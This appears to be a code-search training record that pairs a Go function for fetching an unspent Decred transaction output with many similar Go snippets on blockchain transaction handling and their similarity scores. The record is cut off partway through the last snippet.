{\n\ttxHex, err := msgTxToHex(baseTx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to encode MsgTx: %w\", err)\n\t}\n\tvar res walletjson.SignRawTransactionResult\n\terr = dcr.nodeRawRequest(methodSignRawTransaction, anylist{txHex}, &res)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"rawrequest error: %w\", err)\n\t}\n\n\tfor i := range res.Errors {\n\t\tsigErr := &res.Errors[i]\n\t\tdcr.log.Errorf(\"Signing %v:%d, seq = %d, sigScript = %v, failed: %v (is wallet locked?)\",\n\t\t\tsigErr.TxID, sigErr.Vout, sigErr.Sequence, sigErr.ScriptSig, sigErr.Error)\n\t\t// Will be incomplete below, so log each SignRawTransactionError and move on.\n\t}\n\n\tsignedTx, err := msgTxFromHex(res.Hex)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to deserialize signed MsgTx: %w\", err)\n\t}\n\n\tif !res.Complete {\n\t\tdcr.log.Errorf(\"Incomplete raw transaction signatures (input tx: %x / incomplete signed tx: %x): \",\n\t\t\tdcr.wireBytes(baseTx), dcr.wireBytes(signedTx))\n\t\treturn nil, fmt.Errorf(\"incomplete raw tx signatures (is wallet locked?)\")\n\t}\n\n\treturn signedTx, nil\n}", "func FromBytes(buf []byte) (*NodeMetastate, error) {\n\tstate := NodeMetastate{}\n\treader := bytes.NewReader(buf)\n\t// As bytes are written in the big endian to keep supporting\n\t// cross platforming and for consistency reasons read also\n\t// done using same order\n\terr := binary.Read(reader, binary.BigEndian, &state)\n\tif err != nil {\n\t\treturn nil, errors.WithStack(err)\n\t}\n\treturn &state, nil\n}", "func DecodeHashHex(input string) (_ Hash, err error) {\n\tbody, err := hex.DecodeString(input)\n\tif err != nil {\n\t\treturn\n\t}\n\treturn DecodeHash(body)\n}", "func NewTagHex(ls *lua.LState) int {\n\tvar val = ls.CheckString(1)\n\tvar ds, _ = hex.DecodeString(val)\n\tPushTag(ls, &LuaTag{ds})\n\treturn 1\n}", "func DecodeTx(na ipld.NodeAssembler, txTrace TxTrace) error {\n\tma, err := na.BeginMap(14)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, upFunc := range requiredUnpackFuncs {\n\t\tif err := upFunc(ma, txTrace); err != nil {\n\t\t\treturn fmt.Errorf(\"invalid DAG-ETH TxTrace binary (%v)\", err)\n\t\t}\n\t}\n\treturn ma.Finish()\n}", "func MessageFromBytes(content []byte) (m *SimpleMessage, err error) {\n\tmsg := &SimpleMessage{}\n\te := json.Unmarshal(content, msg)\n\tif e != nil {\n\t\treturn nil, e\n\t}\n\treturn msg, nil\n}", "func ethTxAsProto(tx *EthereumTx, nodePath []uint32) *kkproto.EthereumSignTx {\n\n\test := &kkproto.EthereumSignTx{\n\t\tAddressN: nodePath,\n\t}\n\n\tdata := make([]byte, len(tx.Payload))\n\tcopy(data, tx.Payload)\n\n\t// For proper rlp encoding when the value of the parameter is zero,\n\t// the device expects an empty byte array instead of\n\t// a byte array with a value of zero\n\tif tx.Amount != nil {\n\t\test.Value = emptyOrVal(tx.Amount)\n\t}\n\tif tx.GasLimit != nil {\n\t\test.GasLimit = emptyOrVal(tx.GasLimit)\n\t}\n\tif tx.GasPrice != nil {\n\t\test.GasPrice = emptyOrVal(tx.GasPrice)\n\t}\n\n\treturn est\n\n}", "func NewTransactionLogs(hash ethcmn.Hash, logs []*ethtypes.Log) TransactionLogs { // nolint: interfacer\n\treturn TransactionLogs{\n\t\tHash: hash.String(),\n\t\tLogs: logs,\n\t}\n}", "func NewMsgBuyNFT(sender, owner sdk.AccAddress, denom string, id uint64) MsgBuyNFT {\n\treturn MsgBuyNFT{\n\t\tSender: sender,\n\t\tDenom: strings.TrimSpace(denom),\n\t\tID: id,\n\t}\n}", "func (tx *Tx) From(prevTxID string, vout uint32, prevTxLockingScript string, satoshis uint64) error {\r\n\tpts, err := bscript.NewFromHexString(prevTxLockingScript)\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\r\n\ti := &Input{\r\n\t\tPreviousTxOutIndex: vout,\r\n\t\tPreviousTxSatoshis: satoshis,\r\n\t\tPreviousTxScript: pts,\r\n\t\tSequenceNumber: DefaultSequenceNumber, // use default finalised sequence number\r\n\t}\r\n\tif err := i.PreviousTxIDAddStr(prevTxID); err != nil {\r\n\t\treturn err\r\n\t}\r\n\ttx.addInput(i)\r\n\r\n\treturn nil\r\n}", "func (t *Transaction) FormatMsgBytes() ([]byte, error) {\n\tvar msg []byte\n\tlastTx, err := utils.DecodeString(t.LastTx())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttarget, err := utils.DecodeString(t.Target())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttags, err := t.encodeTagData()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmsg = append(msg, t.owner.Bytes()...)\n\tmsg = append(msg, target...)\n\tmsg = append(msg, t.data...)\n\tmsg = append(msg, t.quantity...)\n\tmsg = append(msg, t.reward...)\n\tmsg = append(msg, lastTx...)\n\tmsg = append(msg, tags...)\n\n\treturn msg, nil\n}", "func ColorFromHex(hex string) (Color, error) {\n\tvar c Color\n\terr := c.ParseHex(hex)\n\treturn c, err\n}", "func (tx *Transaction) Deserialize(r io.Reader) error {\n\tbinary.Read(r, binary.LittleEndian, &tx.Version)\n\tbinary.Read(r, binary.LittleEndian, &tx.TxType)\n\tbinary.Read(r, binary.LittleEndian, &tx.Nonce)\n\tbinary.Read(r, binary.LittleEndian, &tx.GasPrice)\n\tbinary.Read(r, binary.LittleEndian, &tx.GasLimit)\n\tif err := tx.Payer.Deserialize(r); err != nil {\n\t\treturn err\n\t}\n\tif err := tx.Payload.Deserialize(r); err != nil {\n\t\treturn err\n\t}\n\tvar attrvu serialize.VarUint\n\tif err := attrvu.Deserialize(r); err != nil {\n\t\treturn err\n\t}\n\ttx.Attributes = make([]*TxAttribute, 0, attrvu.Value)\n\tfor i := uint64(0); i < attrvu.Value; i++ {\n\t\tvar attr TxAttribute\n\t\tif err := attr.Deserialize(r); err != nil {\n\t\t\treturn err\n\t\t}\n\t\ttx.Attributes = append(tx.Attributes, &attr)\n\t}\n\n\tvar sigvu serialize.VarUint\n\tif err := attrvu.Deserialize(r); err != nil {\n\t\treturn err\n\t}\n\ttx.Sigs = make([]*Sig, 0, sigvu.Value)\n\tfor i := uint64(0); i < sigvu.Value; i++ {\n\t\tvar sig Sig\n\t\tif err := sig.Deserialize(r); err != nil {\n\t\t\treturn err\n\t\t}\n\t\ttx.Sigs = append(tx.Sigs, &sig)\n\t}\n\treturn nil\n}", "func NewMessageFromBytes(b []byte) ifc.Message {\n\th := sha256.New()\n\th.Write(b)\n\treturn ifc.Message{\n\t\tId: uuid.New(),\n\t\tCreationTime: time.Now(),\n\t\tLength: int64(len(b)),\n\t\tSha256: h.Sum(nil),\n\t}\n}", "func ParseTransaction(lines <-chan string) (t Transaction, err error) {\n\tfor line := range lines {\n\t\tline = strings.TrimSpace(line)\n\n\t\tswitch {\n\t\tcase line == \"\":\n\t\t\tcontinue\n\n\t\tcase strings.HasPrefix(line, \"*\"):\n\t\t\t// transaction start\n\t\t\tp := strings.Split(line, \" \")\n\t\t\tvar vxid uint64\n\t\t\tvxid, err = strconv.ParseUint(p[len(p)-1], 10, 64)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tt.VXID = uint(vxid)\n\n\t\tdefault:\n\t\t\t// transaction line\n\t\t\tvar l Line\n\t\t\tl, err = ParseLine(line)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tt.Lines = append(t.Lines, l)\n\n\t\t\tswitch l.Tag {\n\t\t\tcase \"Begin\":\n\t\t\t\tvar ref Reference\n\t\t\t\tref, err = ParseReference(l.Value)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tt.Begin = ref\n\n\t\t\tcase \"End\":\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n\terr = io.EOF\n\treturn\n}", "func validateMsgTx(op errors.Op, tx *wire.MsgTx, prevScripts [][]byte) error {\n\tfor i, prevScript := range prevScripts {\n\t\tvm, err := txscript.NewEngine(prevScript, tx, i,\n\t\t\tsanityVerifyFlags, scriptVersionAssumed, nil)\n\t\tif err != nil {\n\t\t\treturn errors.E(op, err)\n\t\t}\n\t\terr = vm.Execute()\n\t\tif err != nil {\n\t\t\tprevOut := &tx.TxIn[i].PreviousOutPoint\n\t\t\tsigScript := tx.TxIn[i].SignatureScript\n\n\t\t\tlog.Errorf(\"Script validation failed (outpoint %v pkscript %x sigscript %x): %v\",\n\t\t\t\tprevOut, prevScript, sigScript, err)\n\t\t\treturn errors.E(op, errors.ScriptFailure, err)\n\t\t}\n\t}\n\treturn nil\n}", "func NewTxRelayTransactor(address common.Address, transactor bind.ContractTransactor) (*TxRelayTransactor, error) {\n\tcontract, err := bindTxRelay(address, nil, transactor, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &TxRelayTransactor{contract: contract}, nil\n}", "func NewTxHeader(version, serializedSize, timeRange uint64, resultIDs []*Hash) *TxHeader {\n\treturn &TxHeader{\n\t\tVersion: version,\n\t\tSerializedSize: serializedSize,\n\t\tTimeRange: timeRange,\n\t\tResultIds: resultIDs,\n\t}\n}", "func DeserializeTransaction(data []byte) Transaction {\n\tvar transaction Transaction\n\n\tdec := gob.NewDecoder(bytes.NewReader(data))\n\terr := dec.Decode(&transaction)\n\tHandle(err)\n\n\treturn transaction\n}", "func (tx *SignedTransaction) hashMsg() ([]byte, error) {\n\tbits, err := proto.Marshal(&SignedTransaction{\n\t\tSender: tx.Sender,\n\t\tService: tx.Service,\n\t\tMsg: tx.Msg,\n\t\tMsgid: tx.Msgid,\n\t\tNonce: tx.Nonce,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\thash := tmcrypto.Sha256(bits)\n\treturn hash[:], nil\n}", "func (c *RPC) CreateTransaction(recvAddr string, amount uint64) (*coin.Transaction, error) {\n\t// TODO -- this can support sending to multiple receivers at once,\n\t// which would be necessary if the exchange was busy\n\tsendAmount := cli.SendAmount{\n\t\tAddr: recvAddr,\n\t\tCoins: amount,\n\t}\n\n\tif err := validateSendAmount(sendAmount); err != nil {\n\t\treturn nil, err\n\t}\n\n\ttxn, err := cli.CreateRawTxFromWallet(c.rpcClient, c.walletFile, c.changeAddr, []cli.SendAmount{sendAmount})\n\tif err != nil {\n\t\treturn nil, RPCError{err}\n\t}\n\n\treturn txn, nil\n}", "func FromHexString(s string) (Multihash, error) {\n\tb, err := hex.DecodeString(s)\n\tif err != nil {\n\t\treturn Multihash{}, err\n\t}\n\n\treturn Cast(b)\n}" ]
[ "0.8518934", "0.8518934", "0.73555577", "0.69453025", "0.6560635", "0.634584", "0.633896", "0.6125906", "0.58159053", "0.5756418", "0.56160355", "0.55764073", "0.5564265", "0.5477612", "0.5360798", "0.535055", "0.535055", "0.535055", "0.53421056", "0.5327159", "0.5304798", "0.52269113", "0.5224061", "0.5178613", "0.5176264", "0.5174309", "0.5115164", "0.5067823", "0.5057032", "0.5049728", "0.504691", "0.50066966", "0.49737605", "0.49328265", "0.49138713", "0.48878562", "0.48855385", "0.48829266", "0.4857603", "0.4811243", "0.48030403", "0.4773339", "0.4771556", "0.47664502", "0.47550106", "0.474584", "0.47431773", "0.47416887", "0.4734233", "0.4718158", "0.46885753", "0.46870926", "0.46863586", "0.46850786", "0.46726334", "0.46705118", "0.4657204", "0.46399385", "0.4628726", "0.4606414", "0.45840037", "0.45719296", "0.45714277", "0.45590663", "0.45583138", "0.4550081", "0.45432228", "0.45427606", "0.45145956", "0.45125106", "0.44731724", "0.44667223", "0.44530833", "0.44530833", "0.4452343", "0.44467062", "0.44383436", "0.44179758", "0.4417883", "0.44119832", "0.4396201", "0.43892342", "0.4379717", "0.4379079", "0.43768412", "0.43705842", "0.4369688", "0.43687716", "0.43684655", "0.43668944", "0.43654168", "0.43637213", "0.43627694", "0.43596813", "0.43589473", "0.43583238", "0.4346514", "0.4345691", "0.43434632", "0.43428954" ]
0.84708995
2
Get information for an unspent transaction output.
func (dcr *DCRBackend) getUnspentTxOut(txHash *chainhash.Hash, vout uint32) (*chainjson.GetTxOutResult, []byte, error) { txOut, err := dcr.node.GetTxOut(txHash, vout, true) if err != nil { return nil, nil, fmt.Errorf("GetTxOut error for output %s:%d: %v", txHash, vout, err) } if txOut == nil { return nil, nil, fmt.Errorf("UTXO - no unspent txout found for %s:%d", txHash, vout) } pkScript, err := hex.DecodeString(txOut.ScriptPubKey.Hex) if err != nil { return nil, nil, fmt.Errorf("failed to decode pubkey script from '%s' for output %s:%d", txOut.ScriptPubKey.Hex, txHash, vout) } return txOut, pkScript, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func getUnspent(addr string, page int) (string, error) {\n\turl := bitcoinCashAPI + \"/address/\" + addr + \"/unspent?pagesize=\" +\n\t\tstrconv.Itoa(defaultPageSize) + \"&page=\" + strconv.Itoa(page)\n\n\tres, err := http.Get(url)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif res.StatusCode != 200 {\n\t\treturn \"\", errors.New(\"request failed\")\n\t}\n\n\tcontent, err := ioutil.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(content), nil\n}", "func (entry *UtxoEntry) UnspendOutput() {\n\tentry.Spent = false\n}", "func (s *Store) UnspentOutputs() []*RecvTxOut {\n\tunspent := make([]*RecvTxOut, 0, len(s.unspent))\n\tfor _, record := range s.unspent {\n\t\tunspent = append(unspent, record.record(s).(*RecvTxOut))\n\t}\n\treturn unspent\n}", "func (s *Store) GetUnspentOutputs(ns walletdb.ReadBucket) ([]Credit, er.R) {\n\tvar unspent []Credit\n\terr := s.ForEachUnspentOutput(ns, nil, func(_ []byte, c *Credit) er.R {\n\t\tunspent = append(unspent, *c)\n\t\treturn nil\n\t})\n\treturn unspent, err\n}", "func (b *BlockChain) GetUnspentOutputs(address string) []TxOutput {\n\tvar unspentOuts []TxOutput\n\ttxns := b.GetUnspentTxns(address)\n\n\t// go over each txn and each output in it and collect ones which belongs to this address\n\tfor _, txn := range txns {\n\t\t// iterate over all outputs\n\t\tfor _, output := range txn.Out {\n\t\t\tif output.CheckOutputUnlock(address) {\n\t\t\t\tunspentOuts = append(unspentOuts, output)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn unspentOuts\n}", "func ListUnspentInfo(rsp http.ResponseWriter, req *http.Request) {\r\n\terrcode := ListUnspentInfo_ErrorCode\r\n\tvars := mux.Vars(req)\r\n\tmh, err := gHandle.MongoHandle(vars[\"type\"])\r\n\tif err != nil {\r\n\t\trsp.Write(common.MakeResponseWithErr(errcode-1, err))\r\n\t\treturn\r\n\t}\r\n\tfragment := common.StartTrace(\"ListUnspentInfo db1\")\r\n\trst, err := mh.GetAddrUnspentInfo(vars[\"address\"])\r\n\tfragment.StopTrace(0)\r\n\tif err != nil {\r\n\t\trsp.Write(common.MakeResponseWithErr(errcode-2, err))\r\n\t\treturn\r\n\t}\r\n\r\n\trsp.Write(common.MakeOkRspByData(rst))\r\n}", "func (bdm *MySQLDBManager) GetUnspentOutputsObject() (UnspentOutputsInterface, error) {\n\tconn, err := bdm.getConnection()\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tuts := UnspentOutputs{}\n\tuts.DB = &MySQLDB{conn, bdm.Config.TablesPrefix, bdm.Logger}\n\n\treturn &uts, nil\n}", "func GetUnspentOutputCoins(rpcClient *rpcclient.HttpClient, keyWallet *wallet.KeyWallet) ([]*crypto.OutputCoin, error) {\n\tprivateKey := &keyWallet.KeySet.PrivateKey\n\tpaymentAddressStr := keyWallet.Base58CheckSerialize(wallet.PaymentAddressType)\n\tviewingKeyStr := keyWallet.Base58CheckSerialize(wallet.ReadonlyKeyType)\n\n\toutputCoins, err := GetListOutputCoins(rpcClient, paymentAddressStr, viewingKeyStr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tserialNumbers, err := DeriveSerialNumbers(privateKey, outputCoins)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tisExisted, err := CheckExistenceSerialNumber(rpcClient, paymentAddressStr, serialNumbers)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tutxos := make([]*crypto.OutputCoin, 0)\n\tfor i, out := range outputCoins {\n\t\tif !isExisted[i] {\n\t\t\tutxos = append(utxos, out)\n\t\t}\n\t}\n\n\treturn utxos, nil\n}", "func (b *BlockChain) GetUnspentTxns(address string) []Transaction {\n\tvar unspentTxns []Transaction\n\tvar spentTxnMap = make(map[string][]int) // map txnID -> output index\n\n\t// go over blocks one by one\n\titer := b.GetIterator()\n\tfor {\n\t\tblck := iter.Next()\n\n\t\t// go over all Transactions in this block\n\t\tfor _, txn := range blck.Transactions {\n\t\t\t// get string identifying this transaction\n\t\t\ttxID := hex.EncodeToString(txn.ID)\n\n\t\tOutputLoop:\n\t\t\t// go over all outputs in this Txn\n\t\t\tfor outIndex, output := range txn.Out {\n\n\t\t\t\t// check if this output is spent.\n\t\t\t\tif spentTxnMap[txID] != nil {\n\t\t\t\t\tfor _, indx := range spentTxnMap[txID] {\n\t\t\t\t\t\tif indx == outIndex {\n\t\t\t\t\t\t\tcontinue OutputLoop\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// check if this output belongs to this address\n\t\t\t\tif output.CheckOutputUnlock(address) {\n\t\t\t\t\tunspentTxns = append(unspentTxns, *txn)\n\t\t\t\t}\n\n\t\t\t\t// if this is not genesis block, go over all inputs\n\t\t\t\t// that refers to output that belongs to this address\n\t\t\t\t// and mark them as unspent\n\t\t\t\tif txn.IsCoinbase() == false {\n\t\t\t\t\tfor _, inp := range txn.In {\n\t\t\t\t\t\tif inp.CheckInputUnlock(address) {\n\t\t\t\t\t\t\tspentTxnMap[txID] = append(spentTxnMap[txID], inp.Out)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif len(blck.PrevBlockHash) == 0 {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn unspentTxns\n}", "func (dcr *DCRBackend) UnspentDetails(txid string, vout uint32) (string, uint64, int64, error) {\n\ttxHash, err := chainhash.NewHashFromStr(txid)\n\tif err != nil {\n\t\treturn \"\", 0, -1, fmt.Errorf(\"error decoding tx ID %s: %v\", txid, err)\n\t}\n\ttxOut, pkScript, err := dcr.getUnspentTxOut(txHash, vout)\n\tif err != nil {\n\t\treturn \"\", 0, -1, err\n\t}\n\tscriptType := dexdcr.ParseScriptType(dexdcr.CurrentScriptVersion, pkScript, nil)\n\tif scriptType == dexdcr.ScriptUnsupported {\n\t\treturn \"\", 0, -1, dex.UnsupportedScriptError\n\t}\n\tif !scriptType.IsP2PKH() {\n\t\treturn \"\", 0, -1, dex.UnsupportedScriptError\n\t}\n\n\tscriptAddrs, err := dexdcr.ExtractScriptAddrs(pkScript, chainParams)\n\tif err != nil {\n\t\treturn \"\", 0, -1, fmt.Errorf(\"error parsing utxo script addresses\")\n\t}\n\tif scriptAddrs.NumPK != 0 {\n\t\treturn \"\", 0, -1, fmt.Errorf(\"pubkey addresses not supported for P2PKHDetails\")\n\t}\n\tif scriptAddrs.NumPKH != 1 {\n\t\treturn \"\", 0, -1, fmt.Errorf(\"multi-sig not supported for P2PKHDetails\")\n\t}\n\treturn scriptAddrs.PkHashes[0].String(), toAtoms(txOut.Value), txOut.Confirmations, nil\n}", "func (wallet *Wallet) UnspentOutputs() map[address.Address]map[ledgerstate.OutputID]*Output {\n\treturn wallet.unspentOutputManager.UnspentOutputs()\n}", "func (n *Client) RequestUnspentAliasOutput(addr *ledgerstate.AliasAddress) {\n\tn.sendMessage(&txstream.MsgGetUnspentAliasOutput{\n\t\tAliasAddress: addr,\n\t})\n}", "func (u UTXOSet) FindUnspentTransactionOutputs(pubKeyHash []byte) []TxOutput {\n\tvar UTXOs []TxOutput\n\n\tdb := u.BlockChain.Database\n\n\terr := db.View(func(txn *badger.Txn) error {\n\t\topts := badger.DefaultIteratorOptions\n\n\t\tit := txn.NewIterator(opts)\n\t\tdefer it.Close()\n\n\t\t// iterate through all transactions with UTXOs\n\t\tfor it.Seek(utxoPrefix); it.ValidForPrefix(utxoPrefix); it.Next() {\n\t\t\titem := it.Item()\n\t\t\tv, err := item.Value()\n\t\t\tHandle(err)\n\t\t\touts := DeserializeOutputs(v)\n\t\t\t// go through all outputs of that transaction\n\t\t\tfor _, out := range outs.Outputs {\n\t\t\t\t// check the output was locked with this address (belongs to this receiver and can be unlocked by this address to use as new input)\n\t\t\t\tif out.IsLockedWithKey(pubKeyHash) {\n\t\t\t\t\tUTXOs = append(UTXOs, out)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\tHandle(err)\n\treturn UTXOs\n}", "func (s *State) output(id OutputID) (output Output, err error) {\n\toutput, exists := s.unspentOutputs[id]\n\tif exists {\n\t\treturn\n\t}\n\n\terr = errors.New(\"output not in utxo set\")\n\treturn\n}", "func (client *Client) ListUnspent(address string) (Response, error) {\n\n\tmsg := map[string]interface{}{\n\t\t\"jsonrpc\": \"1.0\",\n\t\t\"id\": CONST_ID,\n\t\t\"method\": \"listunspent\",\n\t\t\"params\": []interface{}{\n\t\t\t0,\n\t\t\t999999,\n\t\t\t[]string{\n\t\t\t\taddress,\n\t\t\t},\n\t\t},\n\t}\n\n\tobj, err := client.post(msg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn obj, nil\n}", "func (b *Bitcoind) GetTxOut(txid string, n uint32, includeMempool bool) (transactionOut UTransactionOut, err error) {\n\tr, err := b.client.call(\"gettxout\", []interface{}{txid, n, includeMempool})\n\tif err = handleError(err, &r); err != nil {\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(r.Result, &transactionOut)\n\treturn\n}", "func (gw *Gateway) GetUnspentOutputsSummary(filters []visor.OutputsFilter) (*visor.UnspentOutputsSummary, error) {\n\tvar summary *visor.UnspentOutputsSummary\n\tvar err error\n\tgw.strand(\"GetUnspentOutputsSummary\", func() {\n\t\tsummary, err = gw.v.GetUnspentOutputsSummary(filters)\n\t})\n\treturn summary, err\n}", "func (w *Wallet) GetUnspentBlockStakeOutputs() (unspent []types.UnspentBlockStakeOutput, err error) {\n\tw.mu.RLock()\n\tdefer w.mu.RUnlock()\n\n\tif !w.unlocked {\n\t\terr = modules.ErrLockedWallet\n\t\treturn\n\t}\n\n\tunspent = make([]types.UnspentBlockStakeOutput, 0)\n\n\t// prepare fulfillable context\n\tctx := w.getFulfillableContextForLatestBlock()\n\n\t// collect all fulfillable block stake outputs\n\tfor usbsoid, output := range w.blockstakeOutputs {\n\t\tif output.Condition.Fulfillable(ctx) {\n\t\t\tunspent = append(unspent, w.unspentblockstakeoutputs[usbsoid])\n\t\t}\n\t}\n\treturn\n}", "func GetAddressUnspent(addr string, page int, pagesize int) (*model.AddressUnspent, error) {\n\turl := fmt.Sprintf(bchapi.AddressUnspentUrl, addr, page, pagesize)\n\tresult, err := bchapi.HttpGet(url, bchapi.ConnTimeoutMS, bchapi.ServeTimeoutMS)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\taddressUnspent, err := model.StringToAddressUnspent(result)\n\treturn addressUnspent, err\n}", "func GetUnspentOutputCoinsExceptSpendingUTXO(rpcClient *rpcclient.HttpClient, keyWallet *wallet.KeyWallet) ([]*crypto.InputCoin, error) {\n\tpublicKey := keyWallet.KeySet.PaymentAddress.Pk\n\n\t// check and remove utxo cache (these utxos in txs that were confirmed)\n\t//CheckAndRemoveUTXOFromCache(keyWallet.KeySet.PaymentAddress.Pk, inputCoins)\n\tCheckAndRemoveUTXOFromCacheV2(keyWallet.KeySet.PaymentAddress.Pk, rpcClient)\n\n\t// get unspent output coins from network\n\tutxos, err := GetUnspentOutputCoins(rpcClient, keyWallet)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tinputCoins := ConvertOutputCoinToInputCoin(utxos)\n\n\t// except spending utxos from unspent output coins\n\tutxosInCache := GetUTXOCacheByPublicKey(publicKey)\n\tfor serialNumberStr, _ := range utxosInCache {\n\t\tfor i, inputCoin := range inputCoins {\n\t\t\tsnStrTmp := base58.Base58Check{}.Encode(inputCoin.CoinDetails.GetSerialNumber().ToBytesS(), common.ZeroByte)\n\t\t\tif snStrTmp == serialNumberStr {\n\t\t\t\tinputCoins = removeElementFromSlice(inputCoins, i)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\treturn inputCoins, nil\n}", "func CreateUnspent(bh BlockHeader, txn Transaction, outIndex int) (UxOut, error) {\n\tif outIndex < 0 || outIndex >= len(txn.Out) {\n\t\treturn UxOut{}, fmt.Errorf(\"Transaction out index overflows transaction outputs\")\n\t}\n\n\tvar h cipher.SHA256\n\t// The genesis block uses the null hash as the SrcTransaction [FIXME hardfork]\n\tif bh.BkSeq != 0 {\n\t\th = txn.Hash()\n\t}\n\n\treturn UxOut{\n\t\tHead: UxHead{\n\t\t\tTime: bh.Time,\n\t\t\tBkSeq: bh.BkSeq,\n\t\t},\n\t\tBody: UxBody{\n\t\t\tSrcTransaction: h,\n\t\t\tAddress: txn.Out[outIndex].Address,\n\t\t\tCoins: txn.Out[outIndex].Coins,\n\t\t\tHours: txn.Out[outIndex].Hours,\n\t\t},\n\t}, nil\n}", "func (client *Client) GetTxOut(txid string, vout int) (Response, error) {\n\n\tmsg := client.Command(\n\t\t\"gettxout\",\n\t\t[]interface{}{\n\t\t\ttxid,\n\t\t\tvout,\n\t\t},\n\t)\n\n\treturn client.Post(msg)\n}", "func (a API) GetTxOut(cmd *btcjson.GetTxOutCmd) (e error) {\n\tRPCHandlers[\"gettxout\"].Call <-API{a.Ch, cmd, nil}\n\treturn\n}", "func (p *Permanent) UnspentOutputIDs(optRealm ...byte) kvstore.KVStore {\n\tif len(optRealm) == 0 {\n\t\treturn p.unspentOutputIDs\n\t}\n\n\treturn lo.PanicOnErr(p.unspentOutputIDs.WithExtendedRealm(optRealm))\n}", "func (dcr *DCRBackend) getTxOutInfo(txHash *chainhash.Hash, vout uint32) (*chainjson.GetTxOutResult, *chainjson.TxRawResult, []byte, error) {\n\ttxOut, pkScript, err := dcr.getUnspentTxOut(txHash, vout)\n\tif err != nil {\n\t\treturn nil, nil, nil, err\n\t}\n\tverboseTx, err := dcr.node.GetRawTransactionVerbose(txHash)\n\tif err != nil {\n\t\treturn nil, nil, nil, fmt.Errorf(\"GetRawTransactionVerbose for txid %s: %v\", txHash, err)\n\t}\n\treturn txOut, verboseTx, pkScript, nil\n}", "func CreateUnspent(bh BlockHeader, tx Transaction, outIndex int) (UxOut, error) {\n\tif len(tx.Out) <= outIndex {\n\t\treturn UxOut{}, fmt.Errorf(\"Transaction out index is overflow\")\n\t}\n\n\tvar h cipher.SHA256\n\tif bh.BkSeq != 0 {\n\t\th = tx.Hash()\n\t}\n\n\treturn UxOut{\n\t\tHead: UxHead{\n\t\t\tTime: bh.Time,\n\t\t\tBkSeq: bh.BkSeq,\n\t\t},\n\t\tBody: UxBody{\n\t\t\tSrcTransaction: h,\n\t\t\tAddress: tx.Out[outIndex].Address,\n\t\t\tCoins: tx.Out[outIndex].Coins,\n\t\t\tHours: tx.Out[outIndex].Hours,\n\t\t},\n\t}, nil\n}", "func (b *Bitcoind) ListLockUnspent() (unspendableOutputs []UnspendableOutput, err error) {\n\tr, err := b.client.call(\"listlockunspent\", nil)\n\tif err = handleError(err, &r); err != nil {\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(r.Result, &unspendableOutputs)\n\treturn\n}", "func (s *Store) ForEachUnspentOutput(\n\tns walletdb.ReadBucket,\n\tbeginKey []byte,\n\tvisitor func(key []byte, c *Credit) er.R,\n) er.R {\n\tvar op wire.OutPoint\n\tvar block Block\n\tbu := ns.NestedReadBucket(bucketUnspent)\n\tvar lastKey []byte\n\tif err := bu.ForEachBeginningWith(beginKey, func(k, v []byte) er.R {\n\t\tlastKey = k\n\t\terr := readCanonicalOutPoint(k, &op)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Skip the output if it's locked.\n\t\t_, _, isLocked := isLockedOutput(ns, op, s.clock.Now())\n\t\tif isLocked {\n\t\t\treturn nil\n\t\t}\n\n\t\tif existsRawUnminedInput(ns, k) != nil {\n\t\t\t// Output is spent by an unmined transaction.\n\t\t\t// Skip this k/v pair.\n\t\t\treturn nil\n\t\t}\n\t\terr = readUnspentBlock(v, &block)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tbr, err := fetchBlockRecord(ns, block.Height)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif !br.Hash.IsEqual(&block.Hash) {\n\t\t\tlog.Debugf(\"Skipping transaction [%s] because it references block [%s @ %d] \"+\n\t\t\t\t\"which is not in the chain correct block is [%s]\",\n\t\t\t\top.Hash, block.Hash, block.Height, br.Hash)\n\t\t\treturn nil\n\t\t}\n\n\t\t// TODO(jrick): reading the entire transaction should\n\t\t// be avoidable. Creating the credit only requires the\n\t\t// output amount and pkScript.\n\t\trec, err := fetchTxRecord(ns, &op.Hash, &block)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t} else if rec == nil {\n\t\t\treturn er.New(\"fetchTxRecord() -> nil\")\n\t\t}\n\t\ttxOut := rec.MsgTx.TxOut[op.Index]\n\t\tcred := Credit{\n\t\t\tOutPoint: op,\n\t\t\tBlockMeta: BlockMeta{\n\t\t\t\tBlock: 